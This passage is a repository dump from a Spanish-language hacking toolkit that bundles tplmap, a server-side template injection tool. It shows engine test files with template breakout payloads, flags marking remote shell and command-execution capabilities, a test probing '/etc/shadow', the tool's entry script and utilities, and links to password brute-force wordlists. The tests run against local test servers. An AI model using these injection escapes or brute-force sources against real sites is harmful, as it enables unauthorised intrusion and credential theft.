101 | self.assertEqual(content, obj.read(readable_file))
102 |
103 | # Long binary file
104 | readable_file = '/bin/ls'
105 | content = open(readable_file, 'rb').read()
106 | self.assertEqual(content, obj.read(readable_file))
107 |
108 | # Non existant file
109 | self.assertEqual(None, obj.read('/nonexistant'))
110 | # Unpermitted file
111 | self.assertEqual(None, obj.read('/etc/shadow'))
112 | # Empty file
113 | self.assertEqual(None, obj.read('/dev/null'))
114 |
--------------------------------------------------------------------------------
/modules/tplmap/tests/test_php_twig_secured.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.twig import Twig
9 | from core.channel import Channel
10 | from basetest import BaseTest
11 |
12 | class TwigSecuredTest(unittest.TestCase, BaseTest):
13 |
14 | expected_data = {
15 | 'language': 'php',
16 | 'engine': 'twig',
17 | 'trailer': '{{%(trailer)s}}',
18 | 'header': '{{%(header)s}}',
19 | 'render': '{{%(code)s}}',
20 | 'prefix' : '',
21 | 'suffix' : '',
22 | }
23 |
24 | url = 'http://127.0.0.1:15002/twig-1.20.0-secured.php?tpl=%s&inj=*'
25 | url_blind = ''
26 |
27 | plugin = Twig
28 |
29 | blind_tests = [
30 |
31 | ]
32 |
33 | reflection_tests = [
34 | (0, 0, "%s", {}),
35 | (0, 0, "AAA%sAAA", {}),
36 | (1, 0, "{{ %s }}", { 'prefix': '1}}', 'suffix' : '{{1' }),
37 | (0, 0, "{% block title %}%s{% endblock %}", {}),
38 | (1, 0, "{% set foo = '%s' %}", { 'prefix': "1' %}", 'suffix' : '' }),
39 | (5, 2, "{% set %s = 1 %}", { 'prefix': 'a = 1 %}', 'suffix' : '' }),
40 | (5, 1, "{% for item in %s %}{% endfor %}", {'prefix': '1 %}{% endfor %}{% for a in [1] %}', 'suffix' : ''}),
41 | (1, 0, "{% if %s == 1 %}{% endif %}", {'prefix': '1 %}', 'suffix' : ''}),
42 | (1, 2, "{% if 1 in %s %}{% endif %}", {'prefix': '"1" %}', 'suffix' : ''}),
43 | (1, 3, "{% if 1 in [%s] %}{% endif %}", {'prefix': '1] %}', 'suffix' : ''}),
44 | #(1, 4, "{{ \"iterpo#{%s}lation\" }}", { 'prefix': '1}}}', 'suffix' : '' }),
45 | ]
46 |
47 | # Defuse download tests, capabilities not available
48 | def test_download(self):
49 | pass
50 |
51 | # Defuse upload tests, capabilities not available
52 | def test_upload(self):
53 | pass
54 |
55 | def test_upload_blind(self):
56 | pass
--------------------------------------------------------------------------------
/modules/tplmap/tests/test_php_twig_unsecured.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.twig import Twig
9 | from core.channel import Channel
10 | from basetest import BaseTest
11 |
12 | class TwigUnsecuredTest(unittest.TestCase, BaseTest):
13 |
14 | expected_data = {
15 | 'language': 'php',
16 | 'engine': 'twig',
17 | 'evaluate' : 'php',
18 | 'execute' : True,
19 | 'write': True,
20 | 'read': True,
21 | 'trailer': '{{%(trailer)s}}',
22 | 'header': '{{%(header)s}}',
23 | 'render': '{{%(code)s}}',
24 | 'prefix' : '',
25 | 'suffix' : '',
26 | 'bind_shell' : True,
27 | 'reverse_shell': True
28 | }
29 |
30 | expected_data_blind = {
31 | 'language': 'php',
32 | 'engine': 'twig',
33 | 'evaluate_blind': 'php',
34 | 'execute_blind': True,
35 | 'write': True,
36 | 'blind': True,
37 | 'prefix' : '',
38 | 'suffix' : '',
39 | 'bind_shell' : True,
40 | 'reverse_shell': True
41 | }
42 |
43 | url = 'http://127.0.0.1:15002/twig-1.19.0-unsecured.php?tpl=%s&inj=*'
44 | url_blind = 'http://127.0.0.1:15002/twig-1.19.0-unsecured.php?tpl=%s&inj=*&blind=1'
45 |
46 | plugin = Twig
47 |
48 | blind_tests = [
49 |
50 | ]
51 |
52 | reflection_tests = [
53 | (0, 0, "%s", {}),
54 | (0, 0, "AAA%sAAA", {}),
55 | (1, 0, "{{ %s }}", { 'prefix': '1}}', 'suffix' : '{{1' }),
56 | (0, 0, "{% block title %}%s{% endblock %}", {}),
57 | (1, 0, "{% set foo = '%s' %}", { 'prefix': "1' %}", 'suffix' : '' }),
58 | (5, 2, "{% set %s = 1 %}", { 'prefix': 'a = 1 %}', 'suffix' : '' }),
59 | (5, 1, "{% for item in %s %}{% endfor %}", {'prefix': '1 %}{% endfor %}{% for a in [1] %}', 'suffix' : ''}),
60 | (1, 0, "{% if %s == 1 %}{% endif %}", {'prefix': '1 %}', 'suffix' : ''}),
61 | (1, 2, "{% if 1 in %s %}{% endif %}", {'prefix': '"1" %}', 'suffix' : ''}),
62 | (1, 3, "{% if 1 in [%s] %}{% endif %}", {'prefix': '1] %}', 'suffix' : ''}),
63 | #(1, 4, "{{ \"iterpo#{%s}lation\" }}", { 'prefix': '1}}}', 'suffix' : '' }),
64 | ]
--------------------------------------------------------------------------------
/modules/tplmap/tests/test_py_python.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.languages.python import Python
9 | from core.channel import Channel
10 | from core.checks import detect_template_injection
11 | from basetest import BaseTest
12 |
13 |
14 | class PythonTests(unittest.TestCase, BaseTest):
15 |
16 | expected_data = {
17 | 'language': 'python',
18 | 'engine': 'python',
19 | 'evaluate' : 'python' ,
20 | 'execute' : True,
21 | 'read' : True,
22 | 'write' : True,
23 | 'prefix' : '',
24 | 'suffix': '',
25 | 'render': """str(%(code)s)""",
26 | 'header': """'%(header)s'+""",
27 | 'trailer': """+'%(trailer)s'""",
28 | 'bind_shell' : True,
29 | 'reverse_shell': True
30 | }
31 |
32 | expected_data_blind = {
33 | 'language': 'python',
34 | 'engine': 'python',
35 | 'blind': True,
36 | 'execute_blind' : True,
37 | 'evaluate_blind' : 'python',
38 | 'write': True,
39 | 'prefix' : '',
40 | 'suffix' : '',
41 | 'bind_shell' : True,
42 | 'reverse_shell': True
43 | }
44 |
45 | url = 'http://localhost:15001/reflect/eval?inj=*&tpl=%s'
46 | url_blind = 'http://localhost:15001/blind/eval?inj=*&tpl=%s'
47 | plugin = Python
48 |
49 | blind_tests = [
50 | (0, 0, '%s', {}),
51 | ]
52 |
53 | reflection_tests = [
54 | (0, 0, '%s', {}),
55 | ]
56 |
--------------------------------------------------------------------------------
/modules/tplmap/tests/test_py_tornado.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(10, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.tornado import Tornado
9 | from core.channel import Channel
10 | from utils import rand
11 | from utils import strings
12 | from basetest import BaseTest
13 |
14 | class TornadoTest(unittest.TestCase, BaseTest):
15 |
16 | expected_data = {
17 | 'language': 'python',
18 | 'engine': 'tornado',
19 | 'evaluate' : 'python' ,
20 | 'execute' : True,
21 | 'read' : True,
22 | 'write' : True,
23 | 'prefix': '',
24 | 'suffix': '',
25 | 'trailer': '{{%(trailer)s}}',
26 | 'header': '{{%(header)s}}',
27 | 'render': '{{%(code)s}}',
28 | 'bind_shell' : True,
29 | 'reverse_shell': True
30 | }
31 |
32 | expected_data_blind = {
33 | 'language': 'python',
34 | 'engine': 'tornado',
35 | 'evaluate_blind': 'python',
36 | 'execute_blind': True,
37 | 'write': True,
38 | 'blind': True,
39 | 'prefix' : '',
40 | 'suffix' : '',
41 | 'bind_shell' : True,
42 | 'reverse_shell': True
43 | }
44 |
45 | url = 'http://127.0.0.1:15001/reflect/tornado?tpl=%s&inj=*'
46 | url_blind = 'http://127.0.0.1:15001/blind/tornado?tpl=%s&inj=*'
47 |
48 | plugin = Tornado
49 |
50 | blind_tests = [
51 | (0, 0, 'AAA%sAAA', {}),
52 | (1, 2, '{%% for a in %s %%}\n{%% end %%}', { 'prefix' : '"1"%}', 'suffix' : '' }),
53 | ]
54 | reflection_tests = [
55 | (0, 0, '%s', {}),
56 | (0, 0, 'AAA%sAAA', {}),
57 |
58 | # Reflecting tag ${} context
59 | (1, 1, '{{%s}}', { 'prefix': '1}}', 'suffix' : '' }),
60 | (1, 1, '{{ \'%s\' }}', { 'prefix': '1\'}}', 'suffix' : '' }),
61 | (1, 1, '{{ "%s" }}', { 'prefix': '1"}}', 'suffix' : '' }),
62 | (1, 3, '{{ """%s""" }}', { 'prefix': '1"""}}', 'suffix' : '' }), # {{"""%s"""}} -> {{"""1"}}
63 |
64 | (1, 4, '{{[%s]}}', { 'prefix': '1]}}', 'suffix' : '' }),
65 | (1, 3, '{{ [\'%s\'] }}', { 'prefix': '1\']}}', 'suffix' : '' }),
66 | (1, 3, '{{ ["%s"] }}', { 'prefix': '1"]}}', 'suffix' : '' }),
67 | (1, 3, '{{ ["""%s"""] }}', { 'prefix': '1"""]}}', 'suffix' : '' }), # {{["""%s"""]}} -> {{["""1"]}}
68 |
69 | # # if and for blocks context with {% %}
70 | (1, 1, '{%% if %s: %%}\n{%% end %%}', { 'prefix' : '1%}', 'suffix' : '' }),
71 | (1, 2, '{%% for a in %s: %%}\n{%% end %%}', { 'prefix' : '"1"%}', 'suffix' : '' }),
72 | (1, 1, '{%% if %s==1 %%}\n{%% end %%}', { 'prefix' : '1%}', 'suffix' : '' }),
73 | (1, 1, '{%% if \'%s\'==1 %%}\n{%% end %%}', { 'prefix' : '1\'%}', 'suffix' : '' }),
74 | (1, 1, '{%% if "%s"==1 %%}\n{%% end %%}', { 'prefix' : '1"%}', 'suffix' : '' }),
75 | (1, 3, '{%% if """%s"""==1 %%}\n{%% end %%}', { 'prefix' : '1"""%}', 'suffix' : '' }), # if """%s""": -> if """1":
76 | (1, 2, '{%% if (1, %s)==1 %%}\n{%% end %%}', { 'prefix' : '1)%}', 'suffix' : '' }),
77 | (1, 2, '{%% if (1, \'%s\')==1 %%}\n{%% end %%}', { 'prefix' : '1\')%}', 'suffix' : '' }),
78 | (1, 2, '{%% if (1, "%s")==1 %%}\n{%% end %%}', { 'prefix' : '1")%}', 'suffix' : '' }),
79 | (1, 3, '{%% if (1, """%s""")==1 %%}\n{%% end %%}', { 'prefix' : '1""")%}', 'suffix' : '' }), # if (1, """%s"""): -> if (1, """1"):
80 |
81 | (1, 3, '{%% if [%s]==1 %%}\n{%% end %%}', { 'prefix' : '1]%}', 'suffix' : '' }),
82 | (1, 3, '{%% if [\'%s\']==1 %%}\n{%% end %%}', { 'prefix' : '1\']%}', 'suffix' : '' }),
83 | (1, 3, '{%% if ["%s"]==1 %%}\n{%% end %%}', { 'prefix' : '1"]%}', 'suffix' : '' }),
84 | (1, 3, '{%% if ["""%s"""]==1 %%}\n{%% end %%}', { 'prefix' : '1"""]%}', 'suffix' : '' }), # if ["""%s"""]: -> if ["""1"]:
85 | (1, 5, '{%% if (1, [%s])==1 %%}\n{%% end %%}', { 'prefix' : '1])%}', 'suffix' : '' }),
86 | (1, 5, '{%% if (1, [\'%s\'])==1 %%}\n{%% end %%}', { 'prefix' : '1\'])%}', 'suffix' : '' }),
87 | (1, 5, '{%% if (1, ["%s"])==1 %%}\n{%% end %%}', { 'prefix' : '1"])%}', 'suffix' : '' }),
88 | (1, 5, '{%% if (1, ["""%s"""])==1 %%}\n{%% end %%}', { 'prefix' : '1"""])%}', 'suffix' : '' }), # if (1, ["""%s"""]): -> if (1, ["""1"]):
89 |
90 | (1, 3, '{%% for a in {%s} %%}\n{%% end %%}', { 'prefix' : '1}%}', 'suffix' : '' }),
91 | (1, 3, '{%% if {%s:1}==1 %%}\n{%% end %%}', { 'prefix' : '1}%}', 'suffix' : '' }),
92 | (1, 3, '{%% if {\'%s\':1}==1 %%}\n{%% end %%}', { 'prefix' : '1\'}%}', 'suffix' : '' }),
93 | (1, 3, '{%% if {"%s":1}==1 %%}\n{%% end %%}', { 'prefix' : '1"}%}', 'suffix' : '' }),
94 | (1, 3, '{%% if {"""%s""":1}==1 %%}\n{%% end %%}', { 'prefix' : '1"""}%}', 'suffix' : '' }), # if {"""%s""":1}: -> if {"""1":1}:
95 | (1, 3, '{%% if {1:%s}==1 %%}\n{%% end %%}', { 'prefix' : '1}%}', 'suffix' : '' }),
96 | (1, 3, '{%% if {1:\'%s\'}==1 %%}\n{%% end %%}', { 'prefix' : '1\'}%}', 'suffix' : '' }),
97 | (1, 3, '{%% if {1:"%s"}==1 %%}\n{%% end %%}', { 'prefix' : '1"}%}', 'suffix' : '' }),
98 | (1, 3, '{%% if {1:"""%s"""}==1 %%}\n{%% end %%}', { 'prefix' : '1"""}%}', 'suffix' : '' }), # if {1:"""%s""":1}: -> if {1:"""1"}:
99 |
100 |
101 | # # Comment blocks
102 | (5, 1, '{# %s #}', { 'prefix' : '#}', 'suffix' : '{#' }),
103 |
104 | ]
105 |
--------------------------------------------------------------------------------
/modules/tplmap/tests/test_ruby_erb.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.erb import Erb
9 | from core.channel import Channel
10 | from core.checks import detect_template_injection
11 | from basetest import BaseTest
12 |
13 |
14 | class ErbTests(unittest.TestCase, BaseTest):
15 |
16 | expected_data = {
17 | 'language': 'ruby',
18 | 'engine': 'erb',
19 | 'evaluate' : 'ruby' ,
20 | 'execute' : True,
21 | 'read' : True,
22 | 'write' : True,
23 | 'prefix' : '',
24 | 'suffix': '',
25 | 'render': '"#{%(code)s}"',
26 | 'header': """<%%= '%(header)s'+""",
27 | 'trailer': """+'%(trailer)s' %%>""",
28 | 'bind_shell' : True,
29 | 'reverse_shell': True
30 | }
31 |
32 | expected_data_blind = {
33 | 'language': 'ruby',
34 | 'engine': 'erb',
35 | 'blind': True,
36 | 'execute_blind' : True,
37 | 'evaluate_blind' : 'ruby',
38 | 'write': True,
39 | 'prefix' : '',
40 | 'suffix' : '',
41 | 'bind_shell' : True,
42 | 'reverse_shell': True
43 | }
44 |
45 | url = 'http://localhost:15005/reflect/erb?inj=*&tpl=%s'
46 | url_blind = 'http://localhost:15005/blind/erb?inj=*&tpl=%s'
47 | plugin = Erb
48 |
49 | #TODO: write context escape tests
50 | blind_tests = [
51 | (0, 0, '%s', {}),
52 | ]
53 |
54 | reflection_tests = [
55 | (0, 0, '%s', {}),
56 | ]
57 |
--------------------------------------------------------------------------------
/modules/tplmap/tests/test_ruby_ruby.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.languages.ruby import Ruby
9 | from core.channel import Channel
10 | from core.checks import detect_template_injection
11 | from basetest import BaseTest
12 |
13 |
14 | class RubyTests(unittest.TestCase, BaseTest):
15 |
16 | expected_data = {
17 | 'language': 'ruby',
18 | 'engine': 'ruby',
19 | 'evaluate' : 'ruby' ,
20 | 'execute' : True,
21 | 'read' : True,
22 | 'write' : True,
23 | 'prefix' : '',
24 | 'suffix': '',
25 | 'render': '"#{%(code)s}"',
26 | 'header': """'%(header)s'+""",
27 | 'trailer': """+'%(trailer)s'""",
28 | 'bind_shell' : True,
29 | 'reverse_shell': True
30 | }
31 |
32 | expected_data_blind = {
33 | 'language': 'ruby',
34 | 'engine': 'ruby',
35 | 'blind': True,
36 | 'execute_blind' : True,
37 | 'evaluate_blind' : 'ruby',
38 | 'write': True,
39 | 'prefix' : '',
40 | 'suffix' : '',
41 | 'bind_shell' : True,
42 | 'reverse_shell': True
43 | }
44 |
45 | url = 'http://localhost:15005/reflect/eval?inj=*&tpl=%s'
46 | url_blind = 'http://localhost:15005/blind/eval?inj=*&tpl=%s'
47 | plugin = Ruby
48 |
49 | blind_tests = [
50 | (0, 0, '%s', {}),
51 | ]
52 |
53 | reflection_tests = [
54 | (0, 0, '%s', {}),
55 | ]
56 |
--------------------------------------------------------------------------------
/modules/tplmap/tests/test_ruby_slim.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import requests
3 | import os
4 | import sys
5 | import random
6 |
7 | sys.path.insert(1, os.path.join(sys.path[0], '..'))
8 | from plugins.engines.slim import Slim
9 | from core.channel import Channel
10 | from core.checks import detect_template_injection
11 | from basetest import BaseTest
12 |
13 |
14 | class SlimTests(unittest.TestCase, BaseTest):
15 |
16 | expected_data = {
17 | 'language': 'ruby',
18 | 'engine': 'slim',
19 | 'evaluate' : 'ruby' ,
20 | 'execute' : True,
21 | 'read' : True,
22 | 'write' : True,
23 | 'prefix' : '',
24 | 'suffix': '',
25 | 'render': '"#{%(code)s}"',
26 | 'header': """=('%(header)s'+""",
27 | 'trailer': """+'%(trailer)s')""",
28 | 'bind_shell' : True,
29 | 'reverse_shell': True
30 | }
31 |
32 | expected_data_blind = {
33 | 'language': 'ruby',
34 | 'engine': 'slim',
35 | 'blind': True,
36 | 'execute_blind' : True,
37 | 'evaluate_blind' : 'ruby',
38 | 'write': True,
39 | 'prefix' : '',
40 | 'suffix' : '',
41 | 'bind_shell' : True,
42 | 'reverse_shell': True
43 | }
44 |
45 | url = 'http://localhost:15005/reflect/slim?inj=*&tpl=%s'
46 | url_blind = 'http://localhost:15005/blind/slim?inj=*&tpl=%s'
47 | plugin = Slim
48 |
49 | #TODO: write context escape tests
50 | blind_tests = [
51 | (0, 0, '%s', {}),
52 | ]
53 |
54 | reflection_tests = [
55 | (0, 0, '%s', {}),
56 | ]
57 |
--------------------------------------------------------------------------------
/modules/tplmap/tests/tests.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash -e
2 |
3 | cd "$( dirname "${BASH_SOURCE[0]}" )"
4 |
5 | for SCRIPT in ./run_*sh
6 | do
7 | if [ -f $SCRIPT -a -x $SCRIPT ]
8 | then
9 | echo -e "\n## Running $SCRIPT"
10 | bash -e $SCRIPT --test
11 | fi
12 | done
--------------------------------------------------------------------------------
/modules/tplmap/tplmap.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | from utils import cliparser
3 | from core import checks
4 | from core.channel import Channel
5 | from utils.loggers import log
6 | import traceback
7 |
8 | version = '0.5'
9 |
10 | def main():
11 |
12 | args = vars(cliparser.options)
13 |
14 | if not args.get('url'):
15 | cliparser.parser.error('URL is required. Run with -h for help.')
16 |
17 | # Add version
18 | args['version'] = version
19 |
20 | checks.check_template_injection(Channel(args))
21 |
22 | if __name__ == '__main__':
23 |
24 | log.info(cliparser.banner % version)
25 |
26 | try:
27 | main()
28 | except (KeyboardInterrupt):
29 | log.info('Exiting.')
30 | except Exception as e:
31 | log.critical('Exiting: %s' % e)
32 | log.debug(traceback.format_exc())
33 |
--------------------------------------------------------------------------------
/modules/tplmap/utils/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SecHackLabs/webhackshl-termux/8dc6a824bf58794684e450d388c098f00e68dc0a/modules/tplmap/utils/__init__.py
--------------------------------------------------------------------------------
/modules/tplmap/utils/closures.py:
--------------------------------------------------------------------------------
1 | # Shared closures
2 |
3 | close_single_duble_quotes = [ '1\'', '1"' ]
4 | integer = [ '1' ]
5 | string = [ '"1"' ]
6 | close_dict = [ '}', ':1}' ]
7 | close_function = [ ')' ]
8 | close_list = [ ']' ]
9 | empty = [ '' ]
10 |
11 | # Python triple quotes and if and for loop termination.
12 | close_triple_quotes = [ '1"""' ]
13 | if_loops = [ ':' ]
14 |
15 | # Javascript needs this to bypass assignations
16 | var = [ 'a' ]
17 |
18 | # Java needs booleans to bypass conditions and iterable objects
19 | true_var = [ 'true' ]
20 | iterable_var = [ '[1]' ]
--------------------------------------------------------------------------------
/modules/tplmap/utils/config.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 | import yaml
4 |
5 | config = None
6 |
7 | config_folder = os.path.dirname(os.path.realpath(__file__))
8 |
9 | # TODO: fix this
10 | with open(config_folder + "/../config.yml", 'r') as stream:
11 | try:
12 | config = yaml.load(stream)
13 | except yaml.YAMLError as e:
14 | # logger is not yet loaded, print it roughly
15 | print('[!][%s] %s' % ('config', e))
16 |
17 | base_path = os.path.expanduser(config["base_path"])
18 | log_response = config["log_response"]
19 | time_based_blind_delay = config["time_based_blind_delay"]
20 |
21 | if not os.path.isdir(base_path):
22 | os.makedirs(base_path)
23 |
24 |
25 |
--------------------------------------------------------------------------------
/modules/tplmap/utils/loggers.py:
--------------------------------------------------------------------------------
1 | import logging.handlers
2 | import logging
3 | import sys
4 | import utils.config
5 | import os
6 |
7 | log = None
8 | logfile = None
9 |
10 | class TplmapFormatter(logging.Formatter):
11 |
12 | FORMATS = {
13 | # logging.DEBUG :"[D][%(module)s.%(funcName)s:%(lineno)d] %(message)s",
14 | logging.DEBUG: "[D][%(module)s] %(message)s",
15 | logging.INFO: "[+] %(message)s",
16 | logging.WARNING: "[*][%(module)s] %(message)s",
17 | logging.ERROR: "[-][%(module)s] %(message)s",
18 | logging.CRITICAL: "[!][%(module)s] %(message)s",
19 | 'DEFAULT': "[%(levelname)s] %(message)s"}
20 |
21 | def format(self, record):
22 | self._fmt = self.FORMATS.get(record.levelno, self.FORMATS['DEFAULT'])
23 | return logging.Formatter.format(self, record)
24 |
25 | if not os.path.isdir(utils.config.base_path):
26 | os.makedirs(utils.config.base_path)
27 |
28 | """Initialize the handler to dump log to files"""
29 | log_path = os.path.join(utils.config.base_path, 'tplmap.log')
30 | file_handler = logging.handlers.RotatingFileHandler(
31 | log_path,
32 | mode='a',
33 | maxBytes=5*1024*1024,
34 | backupCount=2,
35 | encoding=None,
36 | delay=0
37 | )
38 | file_handler.setFormatter(TplmapFormatter())
39 |
40 | """Initialize the normal handler"""
41 | stream_handler = logging.StreamHandler(stream=sys.stdout)
42 | stream_handler.setFormatter(TplmapFormatter())
43 |
44 | """Initialize the standard logger"""
45 | log = logging.getLogger('log')
46 | log.addHandler(file_handler)
47 | log.addHandler(stream_handler)
48 | # We can set the a different level for to the two handlers,
49 | # but the global has to be set to the lowest. Fair enough.
50 | log.setLevel(logging.DEBUG)
51 | file_handler.setLevel(logging.DEBUG)
52 | stream_handler.setLevel(logging.INFO)
53 |
54 | """Initialize the debug logger, that dumps just to logfile"""
55 | dlog = logging.getLogger('dlog')
56 | dlog.addHandler(file_handler)
57 | dlog.setLevel(logging.INFO)
58 |
--------------------------------------------------------------------------------
/modules/tplmap/utils/rand.py:
--------------------------------------------------------------------------------
1 | import random
2 | import string
3 |
4 | def randint_n(n):
5 |
6 | # If the length is 1, starts from 2 to avoid
7 | # number repetition on evaluation e.g. 1*8=8
8 | # creating false positives
9 |
10 | if n == 1:
11 | range_start = 2
12 | else:
13 | range_start = 10**(n-1)
14 |
15 | range_end = (10**n)-1
16 | return random.randint(range_start, range_end)
17 |
18 | def randstr_n(n, chars=string.letters + string.digits):
19 | return ''.join(
20 | random.choice(chars) for _ in range(n)
21 | )
22 |
23 | # Generate static random integers
24 | # to help filling actions['render']
25 | randints = [
26 | randint_n(2) for n in range(3)
27 | ]
28 |
29 | # Generate static random integers
30 | # to help filling actions['render']
31 | randstrings = [
32 | randstr_n(2) for n in range(3)
33 | ]
34 |
--------------------------------------------------------------------------------
/modules/tplmap/utils/strings.py:
--------------------------------------------------------------------------------
1 | import json
2 | import base64
3 | from itertools import izip_longest
4 | import hashlib
5 |
6 | def quote(command):
7 | return command.replace("\\", "\\\\").replace("\"", "\\\"")
8 |
9 | def base64encode(data):
10 | return base64.b64encode(data)
11 |
12 | def base64decode(data):
13 | return base64.b64decode(data)
14 |
15 | def chunkit( seq, n ):
16 | """A generator to divide a sequence into chunks of n units."""
17 | while seq:
18 | yield seq[:n]
19 | seq = seq[n:]
20 |
21 | def md5(data):
22 | return hashlib.md5(data).hexdigest()
23 |
--------------------------------------------------------------------------------
/modules/wordlist/worlists.txt:
--------------------------------------------------------------------------------
1 | * Links Diccionarios Para FUERZA BRUTA! - WordList Brute Force!
2 |
3 | https://wiki.skullsecurity.org/Passwords
4 | http://www.insidepro.com/
5 | https://packetstormsecurity.com/Crackers/wordlists/
6 | http://www.cotse.com/tools/wordlists1.htm
7 | http://www.cotse.com/tools/wordlists2.htm
8 | ftp://ftp.openwall.com/pub/wordlists/
9 | ftp://ftp.cerias.purdue.edu/pub/dict/wordlists/
10 | ftp://ftp.zedz.net/pub/crypto/wordlists/
11 | http://contest-2010.korelogic.com/wordlists.html
12 | http://www.leetupload.com/dbindex2/index.php?dir=Word%20Lists/
13 | ftp://ftp.funet.fi/pub/unix/security/dictionaries/
14 | http://wordlist.aspell.net/
15 |
16 | Recopilado por Security Hack Labs Team
17 |
18 | Email: shl.contacto@gmail.com
19 | Blog: https://securityhacklabs.net
20 | Twitter: @SecurityHackLab
21 | Facebook: https://fb.com/SecHackLabs
22 |
23 |
--------------------------------------------------------------------------------